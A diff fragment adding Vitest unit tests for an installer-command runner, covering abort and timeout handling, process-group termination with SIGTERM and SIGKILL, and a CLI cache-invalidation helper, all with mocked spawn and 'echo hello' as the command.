+    expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
+      code: null,
+      output: '',
+      timedOut: false,
+      aborted: true,
+    });
+    expect(spawnMock).not.toHaveBeenCalled();
+  });
+
+  it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
+    vi.useFakeTimers();
+    const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
+    const child = hangingChild(777_777);
+    spawnMock.mockImplementation(() => child);
+    const controller = new AbortController();
+    const pending = runInstallCommand('echo hello', { signal: controller.signal });
+    await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
+
+    controller.abort();
+    // The negative pid is the group: the installer's own children go with it.
+    expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
+    expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
+    await vi.advanceTimersByTimeAsync(3_000);
+    expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
+
+    child.emit('close', null);
+    expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
+  });
+
+  it('an aborted installer that never closes is given up on after eight seconds', async () => {
+    vi.useFakeTimers();
+    vi.spyOn(process, 'kill').mockImplementation(() => true);
+    spawnMock.mockImplementation(() => hangingChild());
+    const controller = new AbortController();
+    const pending = runInstallCommand('echo hello', { signal: controller.signal });
+    await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
+    controller.abort();
+    await vi.advanceTimersByTimeAsync(8_000);
+    expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
+  });
+
+  it('the timeout still kills the group and says so, as it did in the route', async () => {
+    vi.useFakeTimers();
+    const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
+    const child = hangingChild(888_888);
+    spawnMock.mockImplementation(() => child);
+    const pending = runInstallCommand('echo hello');
+    await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
+    await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
+    expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
+    child.emit('close', null);
+    expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
+  });
+
+  it('an abort after the installer ended does nothing', async () => {
+    const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
+    spawnMock.mockImplementation(() => {
+      const child = hangingChild();
+      setImmediate(() => child.emit('close', 0));
+      return child;
+    });
+    const controller = new AbortController();
+    const result = await runInstallCommand('echo hello', { signal: controller.signal });
+    controller.abort();
+    expect(result.aborted).toBe(false);
+    expect(kill).not.toHaveBeenCalled();
+  });
+});
+
+describe('forgetResolvedCli', () => {
+  it('drops the per-binary caches and the per-id resolver', () => {
+    forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
+    expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
+    expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
+  });
+});